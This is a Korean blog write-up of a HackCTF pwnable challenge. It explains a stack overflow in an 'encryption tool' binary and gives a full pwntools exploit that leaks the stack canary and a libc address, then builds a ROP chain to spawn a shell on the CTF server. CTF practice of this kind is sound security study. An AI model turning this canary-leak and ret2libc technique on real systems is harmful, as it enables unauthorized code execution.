문제 풀이 환경 : ubuntu 18.04 |
하 못 풀 뻔 . . .
주어진 파일은 바이너리 파일 뿐
Analysis
일단 실행
나의 인풋을 암호화해준다. 그리고 Yes나 No를 입력해서 계속 이어가거나 종료할 수 있다.
IDA
저기서 bof가 터진다.
그리고 바로 아래 for문에서 암호화를 시킨다.
strncpy 함수는 0x39 복붙한다.
위에서도 언급했지만, Yes나 No를 입력해서 계속 이어가거나 종료할 수 있다...
How to exploit
보호 기법
카나리가 존재한다... bof를 일으켜서 RET를 건드리려면 카나리 릭이 필수적이다.
Summary
- canary 릭
- libc 주소 릭
- system('/bin/sh') 실행
카나리 릭 할 때는 카나리가 '\x00'으로 시작한다는 것을 이용한다. 'strncpy 함수 호출 후 스택상황인데, 저렇게 딱.. 카나리의 '\x00'부분을 '\x42'로 덮여져 있다.
\x00' 자리에 B를 넣어서 B까지 읽고 7바이트를 읽고 앞에 '\x00'을 붙여주면 카나리를 릭할 수 있다.
libc 주소를 릭할 때는 릭이 되는 got가 있고 안되는 got도 있었다.
처음에 puts got을 leak하려고 했는데, 안되었다.
지금 생각해보면 당연히 안된다. 왜 안되냐면, scanf는 공백으로 끊는? 특징이 있다. puts의 got는 0x20이 포함되어 있는데, 0x20는 공백을 뜻한다. (0x601020)
그래서 scanf의 got를 leak했다.
이 문제를 풀면서 헷갈린 것은 ... strncpy 연산 때문에 dest와 src에 데이터들이 어떻게 채워지는지..? 약간 그런 것이 헷갈렸다.
payload = 'A' * (0x38) + '\x00'
payload += 'B' * (0x80-0x40-0x1)
payload += p64(canary)
payload += 'C' * 0x8
payload += p64(pop_rdi)
payload += p64(e.got['__isoc99_scanf'])
payload += p64(e.plt['puts'])
payload += p64(main)
립시를 leak할때는 위와 같이 페이로드를 작성해주었는데, 0x39만큼만 복사를 해서 A+0x38 에다가 NULL을 추가해줬다. strncpy는 문자열을 복사하는 함수이기 때문에 마지막에 널이 필요하다. 그리고 남은 공간은 B로 채웠다.
Let's exploit
from pwn import *
#p = process('./World_best_encryption_tool')
p = remote('ctf.j0n9hyun.xyz', 3027)
e = ELF('./World_best_encryption_tool')
#libc = e.libc
pop_rdi = 0x4008e3
main = 0x400727
# canary leak
payload = ''
payload += 'A' * (0x40 - 0x8)
payload += 'B'
#pause()
p.sendlineafter('\n', payload)
p.readuntil('B')
leak = p.read(7)
canary = '\x00' + leak
canary = u64(canary)
log.info('canary = '+hex(canary))
# libc
p.recvuntil("(Yes/No)\n")
p.sendline('Yes')
payload = 'A' * (0x38) + '\x00'
payload += 'B' * (0x80-0x40-0x1)
payload += p64(canary)
payload += 'C' * 0x8
payload += p64(pop_rdi)
payload += p64(e.got['__isoc99_scanf'])
payload += p64(e.plt['puts'])
payload += p64(main)
#pause()
p.sendlineafter('Your text)\n', payload)
p.recvuntil('(Yes/No)\n')
p.sendline('No')
#print p.recvline()
libc_leak = u64(p.recv(6) + '\x00\x00')
log.info('__isoc99_scanf = '+hex(libc_leak))
system = libc_leak - 0x26140
binsh = libc_leak + 0x121887
#log.info('libc base = '+hex(libc_base))
# .....................
payload = ''
payload += 'A' * 0x38 + '\x00'
payload += 'B' * (0x80-0x40-0x1)
payload += p64(canary)
payload += 'C' * 0x8
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
#pause()
p.sendlineafter('Your text)\n', payload)
p.recvuntil('(Yes/No)\n')
p.sendline('No')
p.interactive()
참고로 오프셋 계산은 아래와 같이 ~ 했다.
'WAR GAME > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] pzshell 풀이 (64bit, shellcode, shellcraft, orw, getdents) (0) | 2021.04.30 |
---|---|
[HackCTF : Pwnable] ezshell 풀이 (64bit, shellcode) (0) | 2021.04.30 |
[HackCTF : Pwnable] adultfsb 풀이 (64bit, FSB) (0) | 2021.04.26 |
[HackCTF : Pwnable] childfsb 풀이 (64bit, FSB) (0) | 2021.04.26 |
[HackCTF : Pwnable] babyfsb 풀이 (64bit, FSB) (0) | 2021.04.26 |